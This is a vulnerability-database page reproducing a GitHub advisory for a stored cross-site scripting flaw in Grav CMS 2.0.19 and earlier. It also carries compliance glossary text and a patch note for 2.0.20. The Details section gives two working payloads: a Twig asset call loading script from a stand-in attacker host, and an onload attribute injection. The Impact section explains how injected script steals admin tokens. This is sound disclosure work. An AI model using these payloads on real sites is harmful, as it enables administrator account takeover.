getgrav/grav: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (ghsa:GHSA-8hgv-xc77-jmcr)
Published Sources: Hersteller
What is affected, what to do
Update composer/getgrav/grav to version 2.0.20.
- Affected
- composer/getgrav/grav
*..<= 2.0.19
- composer/getgrav/grav
- Fixed in
- composer/getgrav/grav
2.0.20
- composer/getgrav/grav
Not sure whether and how you are affected? Ask a question about this vulnerability
Metrics
—
Priority
No value is available for this vulnerability.
—
CVSS v3
No value is available for this vulnerability.
—
EPSS score
No value is available for this vulnerability.
Show all metrics
- Severity
- Medium
Priority (0–325)
The priority score is a consolidated metric that condenses several individual signals into a single, action-guiding ranking: technical severity (CVSS), exploitation likelihood (EPSS), known-exploited status (KEV) and the context of the affected asset. The aim is to answer the only truly important question in vulnerability management: what first?
Read in glossary- 23.01 Methodology
Exploit maturity
An exploit is code or a technique that specifically uses a concrete vulnerability to force unintended behaviour — such as executing code or escalating privileges. It is the tool that turns a theoretical flaw into a practical attack.
Read in glossary- no public PoC known
KEV status
The KEV catalogue is a list maintained by the US authority CISA of vulnerabilities for which active exploitation in the wild has been confirmed. It answers not the question „how severe?“ but „is it already being attacked?“ — thereby sharply prioritising patching.
Read in glossary- —
- Published
CWE
CWE is a catalogue of typical weakness types in software and hardware — such as flawed input validation, unsafe memory handling or poor authentication. Where a CVE names a concrete vulnerability in a concrete product, a CWE describes the underlying class of defect.
Read in glossary- CWE-79
Classification under NIS2 and CRA
Rule-based classification from exploitation status and severity. It does not replace a case-by-case assessment.
NIS2
NIS2 is EU Directive (EU) 2022/2555 to raise the level of cybersecurity across the Union. It substantially broadens obligations compared with the first NIS directive: more sectors, mandatory risk management, staged reporting duties and personal accountability of senior management.
Read in glossary- Handle the vulnerability in regular vulnerability handling under Art. 21(2)(e) NIS2.
CRA
The CRA is EU Regulation (EU) 2024/2847 setting horizontal cybersecurity requirements for „products with digital elements“ — from industrial controllers and software to connected consumer devices. For the first time manufacturers must ensure security across the entire product lifecycle, handle vulnerabilities and provide security updates.
Read in glossary- From 11.12.2027, Annex I Part II CRA requires manufacturers of affected products with digital elements to handle vulnerabilities without delay and provide security updates.
ISO/IEC 27001
ISO/IEC 27001 is the internationally leading standard for an information security management system (ISMS). It describes a risk-based, process-oriented framework to systematically plan, implement, review and improve information security.
Read in glossary- Control A.8.8, management of technical vulnerabilities: assess relevance to your systems, plan remediation and keep evidence.
Description
Summary
Grav 2.0 renders editor-authored Twig in page content by default and relies on the Twig content sandbox to contain it. The shipped sandbox policy allowlists addcss and addjs on Grav\Common\Assets (system/src/Grav/Common/Twig/Sandbox/SandboxDefaults.php:307). Because the sandbox arbitrates the call and not its downstream effect, a user holding only page-edit rights can register an arbitrary asset from page content; the theme then emits it into the document head as a <script src> / <link href> tag. The asset URL is concatenated into that tag without escaping, so it can also break out of its own attribute.
The save-time XSS scan cannot see this: Security::detectXssInEditorContent() renders the content body in isolation and inspects the returned string, while assets.addJs() acts by mutating the shared Assets service and returns only an object key. The payload contains no markup for the scanner to flag.
This is not a Security::detectXss() bypass. It is content reaching an unescaped output sink through an allowlisted method.
Affected versions
All Grav 2.0 releases whose sandbox policy allowlists addcss/addjs on Grav\Common\Assets. The entry predates 2.0.19 — it was carried forward unchanged when the sandbox allowlists moved from system/config/security.yaml into SandboxDefaults in 2.0.19.
Grav 1.7 is not affected: it has no Twig content sandbox and required an explicit per-page process: twig.
Details
Reachable by a plain page editor, with no Twig permission and no configuration change. On a stock install security.twig_content.process_enabled is true and system/config/system.yaml ships process: { markdown: true } with no twig key, so Security::applyTwigContentDefault() defaults every page's process.twig to the gate's value. Content Twig therefore runs on every page that does not explicitly set the flag. security.twig_content.editor_enabled: false and the admin.pages_twig permission gate only the per-page override checkbox in the editor — they do not gate whether Twig runs.
The sink. Assets/Js.php:46 (and identically Css.php:50, Link.php:41, JsModule.php:47) builds the tag by concatenation with no escaping:
return '<script src="' . trim($this->asset) . $this->renderQueryString() . '"' . $this->renderAttributes() . ...
For any remote asset, BaseAsset::init() stores the caller's string verbatim. Two working variants follow:
- External script inclusion —
{{ assets.addJs('https://attacker.example/poc.js') }} - Attribute injection with no attacker-controlled host —
{{ assets.addJs('/user/themes/quark/js/site.js', {'onload':'alert(1)'}) }}, becauseunifyLegacyArguments()passes a second array argument straight into the tag's attributes and attribute names are not filtered. The same effect is reachable by embedding a quote in the URL itself.
Timing. Twig::processSite() resolves $page->content() before rendering the theme template, so the registration lands before the head is emitted.
javascript: and data: URLs are not exploitable — they are treated as local paths and dropped when the file does not exist.
Impact
Persistent script execution on the site's own origin for every visitor of the affected page — including administrators, which makes this a page-editor-to-super-admin escalation:
- Admin-Next renders the page-edit preview as an iframe pointed at the real front-end URL with
sandbox="allow-same-origin allow-scripts allow-forms", so simply previewing the editor's page executes the payload on the admin panel's origin. The existing preview session isolation (plugins.api.protect_frontend_session) only suppresses server-side session start to protect a visitor's front-end session; it does not isolate the origin and does not prevent this. - Admin-Next persists the administrator's API access and refresh JWTs in
localStorageon that same origin. Injected script reads them directly, yielding portable super-admin API access that outlives the page view. - An administrator merely browsing the public site while logged in is equally sufficient; the preview is not required.
Patches
Fixed in Grav 2.0.20:
addcss/addjsremoved from theGrav\Common\Assetssandbox method allowlist. Asset registration is a layout concern, not a content concern. Sites that genuinely need it can re-add the methods throughsecurity.twig_sandbox.allowed_methods, which is additive over the shipped defaults.- Asset URLs are now HTML-escaped at every render site (
Js,Css,Link,JsModule, and the pipeline), so a quote in an asset URL can no longer break out of its attribute regardless of which caller supplied it.
Operators who cannot upgrade immediately can tighten the policy in user/config/security.yaml:
twig_sandbox:
denied_methods:
- class: Grav\Common\Assets
methods: 'addcss, addjs'
Credits
Reported by Ahmed Ibrahim (@skeletonsec).
Source: GitHub Security Advisories
Affected products
The following versions are affected. Older releases of the same product line are also vulnerable unless stated otherwise.
| Affected versions | Fixed in | ||
|---|---|---|---|
| composer | getgrav/grav |
|
|
Weakness classes (CWE)
CWE-79Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Base
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
Entry at MITRE CWE-79